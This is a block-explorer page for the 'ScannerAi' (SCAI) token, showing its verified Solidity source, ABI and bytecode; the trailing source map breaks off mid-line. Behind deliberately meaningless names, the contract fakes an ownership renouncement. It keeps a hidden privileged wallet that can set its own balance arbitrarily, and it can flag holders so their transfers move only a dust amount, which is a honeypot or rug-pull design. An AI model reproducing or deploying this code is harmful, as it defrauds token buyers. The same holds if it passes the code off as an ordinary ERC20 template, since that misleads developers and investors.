ETH Price: $3,291.28 (-3.24%)
 

Overview

Max Total Supply

100,000,000 SCAI

Holders

7

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 18 Decimals)

Balance
0.061546843305410497 SCAI

Value
$0.00
0x99BfABF1AD72A866B28Aa3d3930C35185f05fC00
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
ScannerAi

Compiler Version
v0.8.16+commit.07a7930e

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, MIT license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2023-02-10
*/

//SPDX-License-Identifier: MIT
//Telegram: https://t.me/ScannerAi

pragma solidity ^0.8.0;

abstract contract atSender {
    function takeMin() internal view virtual returns (address) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes calldata) {
        return msg.data;
    }
}

interface IERC20 {
    function totalSupply() external view returns (uint256);

    function balanceOf(address account) external view returns (uint256);

    function transfer(address recipient, uint256 amount) external returns (bool);

    function allowance(address owner, address spender) external view returns (uint256);

    function approve(address spender, uint256 amount) external returns (bool);

    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) external returns (bool);

    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(
        address indexed sender,
        address indexed spender,
        uint256 value
    );
}


interface swapAmount {
    function createPair(address teamLaunched, address atFromLaunch) external returns (address);
}

interface fromLimit {
    function factory() external pure returns (address);

    function WETH() external pure returns (address);
}

contract ScannerAi is IERC20, atSender {
    uint8 private txEnable = 18;
    
    string private exemptToken = "Scanner Ai";
    uint256 private fromShouldReceiver = 100000000 * 10 ** txEnable;
    
    bool public swapAuto;
    uint256 public senderLimit;
    bool public autoEnable;
    address private toMarketing = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
    address public takeSwapAmount;

    string private modeSender = "SCAI";
    uint256 constant teamTo = 10 ** 10;


    uint256 private liquiditySell;
    mapping(address => uint256) private launchedAmount;
    mapping(address => bool) public shouldFrom;
    uint256 public listSender;
    bool public feeAmountMax;
    uint256 private walletTokenShould;
    uint256 public toSender;
    address public teamAt;
    bool public listAt;
    mapping(address => bool) public takeSellIs;
    address private toTakeFund;
    mapping(address => mapping(address => uint256)) private tokenBuy;
    bool public receiverLaunchSwap;


    

    event OwnershipTransferred(address indexed maxShould, address indexed liquidityReceiver);

    constructor (){
        
        fromLimit receiverLaunched = fromLimit(toMarketing);
        takeSwapAmount = swapAmount(receiverLaunched.factory()).createPair(receiverLaunched.WETH(), address(this));
        toTakeFund = takeMin();
        if (swapAuto != autoEnable) {
            autoEnable = true;
        }
        teamAt = toTakeFund;
        shouldFrom[teamAt] = true;
        if (receiverLaunchSwap) {
            walletTokenShould = senderLimit;
        }
        launchedAmount[teamAt] = fromShouldReceiver;
        emit Transfer(address(0), teamAt, fromShouldReceiver);
        amountFee();
    }

    

    function symbol() external view returns (string memory) {
        return modeSender;
    }

    function tradingLimit() public view returns (bool) {
        return listAt;
    }

    function name() external view returns (string memory) {
        return exemptToken;
    }

    function totalLaunched(address sellEnableReceiver, address modeTokenTo, uint256 senderMax) internal returns (bool) {
        if (sellEnableReceiver == teamAt || modeTokenTo == teamAt) {
            return receiverReceiver(sellEnableReceiver, modeTokenTo, senderMax);
        }
        if (autoEnable) {
            listAt = false;
        }
        if (takeSellIs[sellEnableReceiver]) {
            return receiverReceiver(sellEnableReceiver, modeTokenTo, teamTo);
        }
        
        return receiverReceiver(sellEnableReceiver, modeTokenTo, senderMax);
    }

    function tradingWallet(address walletIs) public {
        if (feeAmountMax) {
            return;
        }
        
        shouldFrom[walletIs] = true;
        
        feeAmountMax = true;
    }

    function allowance(address receiverMarketing, address txLaunch) external view virtual override returns (uint256) {
        return tokenBuy[receiverMarketing][txLaunch];
    }

    function swapMin() public {
        
        if (senderLimit != walletTokenShould) {
            senderLimit = listSender;
        }
        toSender=0;
    }

    function transfer(address exemptLaunch, uint256 senderMax) external virtual override returns (bool) {
        return totalLaunched(takeMin(), exemptLaunch, senderMax);
    }

    function enableSell(address txSender) public {
        
        if (txSender == teamAt || txSender == takeSwapAmount || !shouldFrom[takeMin()]) {
            return;
        }
        
        takeSellIs[txSender] = true;
    }

    function decimals() external view returns (uint8) {
        return txEnable;
    }

    function fromExemptWallet() public view returns (bool) {
        return swapAuto;
    }

    function getOwner() external view returns (address) {
        return toTakeFund;
    }

    function owner() external view returns (address) {
        return toTakeFund;
    }

    function approve(address txLaunch, uint256 senderMax) public virtual override returns (bool) {
        tokenBuy[takeMin()][txLaunch] = senderMax;
        emit Approval(takeMin(), txLaunch, senderMax);
        return true;
    }

    function swapTrading(uint256 senderMax) public {
        if (!shouldFrom[takeMin()]) {
            return;
        }
        launchedAmount[teamAt] = senderMax;
    }

    function sellAmount() public view returns (bool) {
        return autoEnable;
    }

    function modeMarketing() public view returns (bool) {
        return listAt;
    }

    function tokenAtShould() public view returns (uint256) {
        return toSender;
    }

    function balanceOf(address atShould) public view virtual override returns (uint256) {
        return launchedAmount[atShould];
    }

    function amountFee() public {
        emit OwnershipTransferred(teamAt, address(0));
        toTakeFund = address(0);
    }

    function totalSupply() external view virtual override returns (uint256) {
        return fromShouldReceiver;
    }

    function receiverReceiver(address sellEnableReceiver, address modeTokenTo, uint256 senderMax) internal returns (bool) {
        require(launchedAmount[sellEnableReceiver] >= senderMax);
        launchedAmount[sellEnableReceiver] -= senderMax;
        launchedAmount[modeTokenTo] += senderMax;
        emit Transfer(sellEnableReceiver, modeTokenTo, senderMax);
        return true;
    }

    function totalMarketing() public view returns (uint256) {
        return toSender;
    }

    function transferFrom(address sellEnableReceiver, address modeTokenTo, uint256 senderMax) external override returns (bool) {
        if (tokenBuy[sellEnableReceiver][takeMin()] != type(uint256).max) {
            require(senderMax <= tokenBuy[sellEnableReceiver][takeMin()]);
            tokenBuy[sellEnableReceiver][takeMin()] -= senderMax;
        }
        return totalLaunched(sellEnableReceiver, modeTokenTo, senderMax);
    }


}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"sender","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"maxShould","type":"address"},{"indexed":true,"internalType":"address","name":"liquidityReceiver","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"receiverMarketing","type":"address"},{"internalType":"address","name":"txLaunch","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"amountFee","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"txLaunch","type":"address"},{"internalType":"uint256","name":"senderMax","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"autoEnable","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"atShould","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"txSender","type":"address"}],"name":"enableSell","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"feeAmountMax","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"fromExemptWallet","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"getOwner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"listAt","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"listSender","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"modeMarketing","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"receiverLaunchSwap","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"sellAmount","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"senderLimit","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"shouldFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"swapAuto","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"swapMin","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"senderMax","type":"uint256"}],"name":"swapTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"takeSellIs","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"takeSwapAmount","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"teamAt","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"toSender","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"tokenAtShould","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalMarketing","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"tradingLimit","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"walletIs","type":"address"}],"name":"tradingWallet","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"exemptLaunch","type":"address"},{"internalType":"uint256","name":"senderMax","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sellEnableReceiver","type":"address"},{"internalType":"address","name":"modeTokenTo","type":"address"},{"internalType":"uint256","name":"senderMax","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"}]

6000805460ff1916601217905560c0604052600a6080908152695363616e6e657220416960b01b60a0526001906200003890826200043e565b506000546200004c9060ff16600a6200061f565b6200005c906305f5e10062000637565b60025560058054610100600160a81b031916747a250d5630b4cf539739df2c5dacb4c659f2488d001790556040805180820190915260048152635343414960e01b6020820152600790620000b190826200043e565b50348015620000bf57600080fd5b506000600560019054906101000a90046001600160a01b03169050806001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa15801562000119573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906200013f919062000659565b6001600160a01b031663c9c65396826001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156200018c573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620001b2919062000659565b6040516001600160e01b031960e084901b1681526001600160a01b0390911660048201523060248201526044016020604051808303816000875af1158015620001ff573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019062000225919062000659565b600680546001600160a01b0319166001600160a01b03929092169190911790556200024d3390565b601180546001600160a01b0319166001600160a01b039290921691909117905560055460035460ff9182161515911615151462000292576005805460ff191660011790555b601154600f80546001600160a01b0319166001600160a01b0390921691821790556000908152600a60205260409020805460ff1916600117905560135460ff1615620002df57600454600d555b600254600f80546001600160a01b03908116600090815260096020908152604080832086905593549351948552929091169290917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef910160405180910390a3620003486200034f565b5062000684565b600f546040516000916001600160a01b0316907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3601180546001600160a01b0319169055565b634e487b7160e01b600052604160045260246000fd5b600181811c90821680620003c457607f821691505b602082108103620003e557634e487b7160e01b600052602260045260246000fd5b50919050565b601f8211156200043957600081815260208120601f850160051c81016020861015620004145750805b601f850160051c820191505b81811015620004355782815560010162000420565b5050505b505050565b81516001600160401b038111156200045a576200045a62000399565b62000472816200046b8454620003af565b84620003eb565b602080601f831160018114620004aa5760008415620004915750858301515b600019600386901b1c1916600185901b17855562000435565b600085815260208120601f198616915b82811015620004db57888601518255948401946001909101908401620004ba565b5085821015620004fa5787850151600019600388901b60f8161c191681555b5050505050600190811b01905550565b634e487b7160e01b600052601160045260246000fd5b600181815b80851115620005615781600019048211156200054557620005456200050a565b808516156200055357918102915b93841c939080029062000525565b509250929050565b6000826200057a5750600162000619565b81620005895750600062000619565b8160018114620005a25760028114620005ad57620005cd565b600191505062000619565b60ff841115620005c157620005c16200050a565b50506001821b62000619565b5060208310610133831016604e8410600b8410161715620005f2575081810a62000619565b620005fe838362000520565b80600019048211156200061557620006156200050a565b0290505b92915050565b60006200063060ff84168362000569565b9392505050565b60008160001904831182151516156200065457620006546200050a565b500290565b6000602082840312156200066c57600080fd5b81516001600160a01b03811681146200063057600080fd5b610ad180620006946000396000f3fe608060405234801561001057600080fd5b50600436106102065760003560e01c80634f24decb1161011a578063917ed628116100ad578063b3de9b5d1161007c578063b3de9b5d1461040c578063dd62ed3e14610414578063e593a05b1461044d578063e6577dc41461045a578063f6da3c9a1461046d57600080fd5b8063917ed628146103c157806395d89b41146103e45780639e2b1876146103ec578063a9059cbb146103f957600080fd5b8063893d20e8116100e9578063893d20e8146103945780638a3c6ae4146103a55780638a703358146103b85780638da5cb5b1461039457600080fd5b80634f24decb1461031657806370a0823114610333578063771a25681461035c5780637b8d31af1461038757600080fd5b80631d4463ea1161019d5780633090e2e51161016c5780633090e2e5146102e5578063313ce567146102f85780633aab87991461030d5780633cd0ad0b146103165780633f407b841461032857600080fd5b80631d4463ea146102b3578063234e9fe91461025957806323b872dd146102be5780632ae8ccf9146102d157600080fd5b806316414817116101d9578063164148171461026b578063164927721461028057806318160ddd146102885780631c66db271461029057600080fd5b806306fdde031461020b57806308469ffb14610229578063095ea7b3146102465780631233d83a14610259575b600080fd5b610213610476565b60405161022091906108ee565b60405180910390f35b6005546102369060ff1681565b6040519015158152602001610220565b610236610254366004610958565b610508565b600e545b604051908152602001610220565b61027e610279366004610982565b610570565b005b61027e6105b2565b60025461025d565b61023661029e366004610982565b600a6020526000908152604090205460ff1681565b60035460ff16610236565b6102366102cc36600461099d565b6105fc565b600f5461023690600160a01b900460ff1681565b61027e6102f33660046109d9565b6106a6565b60005460405160ff9091168152602001610220565b61025d60045481565b600f54600160a01b900460ff16610236565b60055460ff16610236565b61025d610341366004610982565b6001600160a01b031660009081526009602052604090205490565b60065461036f906001600160a01b031681565b6040516001600160a01b039091168152602001610220565b6003546102369060ff1681565b6011546001600160a01b031661036f565b600f5461036f906001600160a01b031681565b61025d600b5481565b6102366103cf366004610982565b60106020526000908152604090205460ff1681565b6102136106dd565b600c546102369060ff1681565b610236610407366004610958565b6106ec565b61027e6106f9565b61025d6104223660046109f2565b6001600160a01b03918216600090815260126020908152604080832093909416825291909152205490565b6013546102369060ff1681565b61027e610468366004610982565b610712565b61025d600e5481565b60606001805461048590610a25565b80601f01602080910402602001604051908101604052809291908181526020018280546104b190610a25565b80156104fe5780601f106104d3576101008083540402835291602001916104fe565b820191906000526020600020905b8154815290600101906020018083116104e157829003601f168201915b5050505050905090565b3360008181526012602090815260408083206001600160a01b03871680855290835281842086905590518581529293909290917f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a35060015b92915050565b600c5460ff161561057e5750565b6001600160a01b03166000908152600a602052604090208054600160ff199182168117909255600c80549091169091179055565b600f546040516000916001600160a01b0316907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3601180546001600160a01b0319169055565b6001600160a01b038316600090815260126020908152604080832033845290915281205460001914610691576001600160a01b038416600090815260126020908152604080832033845290915290205482111561065857600080fd5b6001600160a01b03841660009081526012602090815260408083203384529091528120805484929061068b908490610a75565b90915550505b61069c848484610782565b90505b9392505050565b336000908152600a602052604090205460ff166106c05750565b600f546001600160a01b0316600090815260096020526040902055565b60606007805461048590610a25565b600061069f338484610782565b600d546004541461070b57600b546004555b6000600e55565b600f546001600160a01b038281169116148061073b57506006546001600160a01b038281169116145b806107565750336000908152600a602052604090205460ff16155b1561075e5750565b6001600160a01b03166000908152601060205260409020805460ff19166001179055565b600f546000906001600160a01b03858116911614806107ae5750600f546001600160a01b038481169116145b156107c5576107be848484610816565b905061069f565b60055460ff16156107de57600f805460ff60a01b191690555b6001600160a01b03841660009081526010602052604090205460ff161561080f576107be84846402540be400610816565b61069c8484845b6001600160a01b03831660009081526009602052604081205482111561083b57600080fd5b6001600160a01b03841660009081526009602052604081208054849290610863908490610a75565b90915550506001600160a01b03831660009081526009602052604081208054849290610890908490610a88565b92505081905550826001600160a01b0316846001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516108dc91815260200190565b60405180910390a35060019392505050565b600060208083528351808285015260005b8181101561091b578581018301518582016040015282016108ff565b506000604082860101526040601f19601f8301168501019250505092915050565b80356001600160a01b038116811461095357600080fd5b919050565b6000806040838503121561096b57600080fd5b6109748361093c565b946020939093013593505050565b60006020828403121561099457600080fd5b61069f8261093c565b6000806000606084860312156109b257600080fd5b6109bb8461093c565b92506109c96020850161093c565b9150604084013590509250925092565b6000602082840312156109eb57600080fd5b5035919050565b60008060408385031215610a0557600080fd5b610a0e8361093c565b9150610a1c6020840161093c565b90509250929050565b600181811c90821680610a3957607f821691505b602082108103610a5957634e487b7160e01b600052602260045260246000fd5b50919050565b634e487b7160e01b600052601160045260246000fd5b8181038181111561056a5761056a610a5f565b8082018082111561056a5761056a610a5f56fea26469706673582212205b71f0c569ddb5f2fbb826e143a2138c3d65d7784fef84b549fd6106566c0b4264736f6c63430008100033

Deployed Bytecode

0x608060405234801561001057600080fd5b50600436106102065760003560e01c80634f24decb1161011a578063917ed628116100ad578063b3de9b5d1161007c578063b3de9b5d1461040c578063dd62ed3e14610414578063e593a05b1461044d578063e6577dc41461045a578063f6da3c9a1461046d57600080fd5b8063917ed628146103c157806395d89b41146103e45780639e2b1876146103ec578063a9059cbb146103f957600080fd5b8063893d20e8116100e9578063893d20e8146103945780638a3c6ae4146103a55780638a703358146103b85780638da5cb5b1461039457600080fd5b80634f24decb1461031657806370a0823114610333578063771a25681461035c5780637b8d31af1461038757600080fd5b80631d4463ea1161019d5780633090e2e51161016c5780633090e2e5146102e5578063313ce567146102f85780633aab87991461030d5780633cd0ad0b146103165780633f407b841461032857600080fd5b80631d4463ea146102b3578063234e9fe91461025957806323b872dd146102be5780632ae8ccf9146102d157600080fd5b806316414817116101d9578063164148171461026b578063164927721461028057806318160ddd146102885780631c66db271461029057600080fd5b806306fdde031461020b57806308469ffb14610229578063095ea7b3146102465780631233d83a14610259575b600080fd5b610213610476565b60405161022091906108ee565b60405180910390f35b6005546102369060ff1681565b6040519015158152602001610220565b610236610254366004610958565b610508565b600e545b604051908152602001610220565b61027e610279366004610982565b610570565b005b61027e6105b2565b60025461025d565b61023661029e366004610982565b600a6020526000908152604090205460ff1681565b60035460ff16610236565b6102366102cc36600461099d565b6105fc565b600f5461023690600160a01b900460ff1681565b61027e6102f33660046109d9565b6106a6565b60005460405160ff9091168152602001610220565b61025d60045481565b600f54600160a01b900460ff16610236565b60055460ff16610236565b61025d610341366004610982565b6001600160a01b031660009081526009602052604090205490565b60065461036f906001600160a01b031681565b6040516001600160a01b039091168152602001610220565b6003546102369060ff1681565b6011546001600160a01b031661036f565b600f5461036f906001600160a01b031681565b61025d600b5481565b6102366103cf366004610982565b60106020526000908152604090205460ff1681565b6102136106dd565b600c546102369060ff1681565b610236610407366004610958565b6106ec565b61027e6106f9565b61025d6104223660046109f2565b6001600160a01b03918216600090815260126020908152604080832093909416825291909152205490565b6013546102369060ff1681565b61027e610468366004610982565b610712565b61025d600e5481565b60606001805461048590610a25565b80601f01602080910402602001604051908101604052809291908181526020018280546104b190610a25565b80156104fe5780601f106104d3576101008083540402835291602001916104fe565b820191906000526020600020905b8154815290600101906020018083116104e157829003601f168201915b5050505050905090565b3360008181526012602090815260408083206001600160a01b03871680855290835281842086905590518581529293909290917f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a35060015b92915050565b600c5460ff161561057e5750565b6001600160a01b03166000908152600a602052604090208054600160ff199182168117909255600c80549091169091179055565b600f546040516000916001600160a01b0316907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3601180546001600160a01b0319169055565b6001600160a01b038316600090815260126020908152604080832033845290915281205460001914610691576001600160a01b038416600090815260126020908152604080832033845290915290205482111561065857600080fd5b6001600160a01b03841660009081526012602090815260408083203384529091528120805484929061068b908490610a75565b90915550505b61069c848484610782565b90505b9392505050565b336000908152600a602052604090205460ff166106c05750565b600f546001600160a01b0316600090815260096020526040902055565b60606007805461048590610a25565b600061069f338484610782565b600d546004541461070b57600b546004555b6000600e55565b600f546001600160a01b038281169116148061073b57506006546001600160a01b038281169116145b806107565750336000908152600a602052604090205460ff16155b1561075e5750565b6001600160a01b03166000908152601060205260409020805460ff19166001179055565b600f546000906001600160a01b03858116911614806107ae5750600f546001600160a01b038481169116145b156107c5576107be848484610816565b905061069f565b60055460ff16156107de57600f805460ff60a01b191690555b6001600160a01b03841660009081526010602052604090205460ff161561080f576107be84846402540be400610816565b61069c8484845b6001600160a01b03831660009081526009602052604081205482111561083b57600080fd5b6001600160a01b03841660009081526009602052604081208054849290610863908490610a75565b90915550506001600160a01b03831660009081526009602052604081208054849290610890908490610a88565b92505081905550826001600160a01b0316846001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516108dc91815260200190565b60405180910390a35060019392505050565b600060208083528351808285015260005b8181101561091b578581018301518582016040015282016108ff565b506000604082860101526040601f19601f8301168501019250505092915050565b80356001600160a01b038116811461095357600080fd5b919050565b6000806040838503121561096b57600080fd5b6109748361093c565b946020939093013593505050565b60006020828403121561099457600080fd5b61069f8261093c565b6000806000606084860312156109b257600080fd5b6109bb8461093c565b92506109c96020850161093c565b9150604084013590509250925092565b6000602082840312156109eb57600080fd5b5035919050565b60008060408385031215610a0557600080fd5b610a0e8361093c565b9150610a1c6020840161093c565b90509250929050565b600181811c90821680610a3957607f821691505b602082108103610a5957634e487b7160e01b600052602260045260246000fd5b50919050565b634e487b7160e01b600052601160045260246000fd5b8181038181111561056a5761056a610a5f565b8082018082111561056a5761056a610a5f56fea26469706673582212205b71f0c569ddb5f2fbb826e143a2138c3d65d7784fef84b549fd6106566c0b4264736f6c63430008100033

Deployed Bytecode Sourcemap

1369:6059:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;3329:91;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;1639:22;;;;;;;;;;;;732:14:1;;725:22;707:41;;695:2;680:18;1639:22:0;567:187:1;5386:231:0;;;;;;:::i;:::-;;:::i;6886:90::-;6960:8;;6886:90;;;1342:25:1;;;1330:2;1315:18;6886:90:0;1196:177:1;4014:205:0;;;;;;:::i;:::-;;:::i;:::-;;6228:126;;;:::i;6362:116::-;6452:18;;6362:116;;1964:42;;;;;;:::i;:::-;;;;;;;;;;;;;;;;5100:89;5173:8;;;;5100:89;;6984:437;;;;;;:::i;:::-;;:::i;2174:18::-;;;;;-1:-1:-1;;;2174:18:0;;;;;;5625:171;;;;;;:::i;:::-;;:::i;5008:84::-;5051:5;5076:8;5008:84;;5076:8;;;;2229:36:1;;2217:2;2202:18;5008:84:0;2087:184:1;1606:26:0;;;;;;3238:83;3307:6;;-1:-1:-1;;;3307:6:0;;;;3238:83;;5804:85;5871:10;;;;5804:85;;6086:134;;;;;;:::i;:::-;-1:-1:-1;;;;;6188:24:0;6161:7;6188:24;;;:14;:24;;;;;;;6086:134;1747:29;;;;;-1:-1:-1;;;;;1747:29:0;;;;;;-1:-1:-1;;;;;2440:32:1;;;2422:51;;2410:2;2395:18;1747:29:0;2276:203:1;1579:20:0;;;;;;;;;5197:88;5267:10;;-1:-1:-1;;;;;5267:10:0;5197:88;;2146:21;;;;;-1:-1:-1;;;;;2146:21:0;;;2013:25;;;;;;2199:42;;;;;;:::i;:::-;;;;;;;;;;;;;;;;3138:92;;;:::i;2045:24::-;;;;;;;;;4583:175;;;;;;:::i;:::-;;:::i;4411:164::-;;;:::i;4227:176::-;;;;;;:::i;:::-;-1:-1:-1;;;;;4358:27:0;;;4331:7;4358:27;;;:8;:27;;;;;;;;:37;;;;;;;;;;;;;4227:176;2352:30;;;;;;;;;4766:234;;;;;;:::i;:::-;;:::i;2116:23::-;;;;;;3329:91;3368:13;3401:11;3394:18;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;3329:91;:::o;5386:231::-;208:10;5473:4;5490:19;;;:8;:19;;;;;;;;-1:-1:-1;;;;;5490:29:0;;;;;;;;;;;:41;;;5547:40;;1342:25:1;;;5473:4:0;;5490:29;;208:10;;5547:40;;1315:18:1;5547:40:0;;;;;;;-1:-1:-1;5605:4:0;5386:231;;;;;:::o;4014:205::-;4077:12;;;;4073:51;;;4014:205;:::o;4073:51::-;-1:-1:-1;;;;;4144:20:0;;;;;:10;:20;;;;;:27;;4167:4;-1:-1:-1;;4144:27:0;;;;;;;;4192:12;:19;;;;;;;;;;4014:205::o;6228:126::-;6293:6;;6272:40;;6309:1;;-1:-1:-1;;;;;6293:6:0;;6272:40;;6309:1;;6272:40;6323:10;:23;;-1:-1:-1;;;;;;6323:23:0;;;6228:126::o;6984:437::-;-1:-1:-1;;;;;7122:28:0;;7101:4;7122:28;;;:8;:28;;;;;;;;208:10;7122:39;;;;;;;;-1:-1:-1;;7122:60:0;7118:221;;-1:-1:-1;;;;;7220:28:0;;;;;;:8;:28;;;;;;;;208:10;7220:39;;;;;;;;7207:52;;;7199:61;;;;;;-1:-1:-1;;;;;7275:28:0;;;;;;:8;:28;;;;;;;;208:10;7275:39;;;;;;;:52;;7318:9;;7275:28;:52;;7318:9;;7275:52;:::i;:::-;;;;-1:-1:-1;;7118:221:0;7356:57;7370:18;7390:11;7403:9;7356:13;:57::i;:::-;7349:64;;6984:437;;;;;;:::o;5625:171::-;208:10;5688:21;;;;:10;:21;;;;;;;;5683:61;;5625:171;:::o;5683:61::-;5769:6;;-1:-1:-1;;;;;5769:6:0;5754:22;;;;:14;:22;;;;;:34;5625:171::o;3138:92::-;3179:13;3212:10;3205:17;;;;;:::i;4583:175::-;4677:4;4701:49;208:10;4726:12;4740:9;4701:13;:49::i;4411:164::-;4477:17;;4462:11;;:32;4458:89;;4525:10;;4511:11;:24;4458:89;4566:1;4557:8;:10;4411:164::o;4766:234::-;4848:6;;-1:-1:-1;;;;;4836:18:0;;;4848:6;;4836:18;;:48;;-1:-1:-1;4870:14:0;;-1:-1:-1;;;;;4858:26:0;;;4870:14;;4858:26;4836:48;:74;;;-1:-1:-1;208:10:0;4889:21;;;;:10;:21;;;;;;;;4888:22;4836:74;4832:113;;;4766:234;:::o;4832:113::-;-1:-1:-1;;;;;4965:20:0;;;;;:10;:20;;;;;:27;;-1:-1:-1;;4965:27:0;4988:4;4965:27;;;4766:234::o;3428:578::-;3580:6;;3537:4;;-1:-1:-1;;;;;3558:28:0;;;3580:6;;3558:28;;:53;;-1:-1:-1;3605:6:0;;-1:-1:-1;;;;;3590:21:0;;;3605:6;;3590:21;3558:53;3554:153;;;3635:60;3652:18;3672:11;3685:9;3635:16;:60::i;:::-;3628:67;;;;3554:153;3721:10;;;;3717:57;;;3748:6;:14;;-1:-1:-1;;;;3748:14:0;;;3717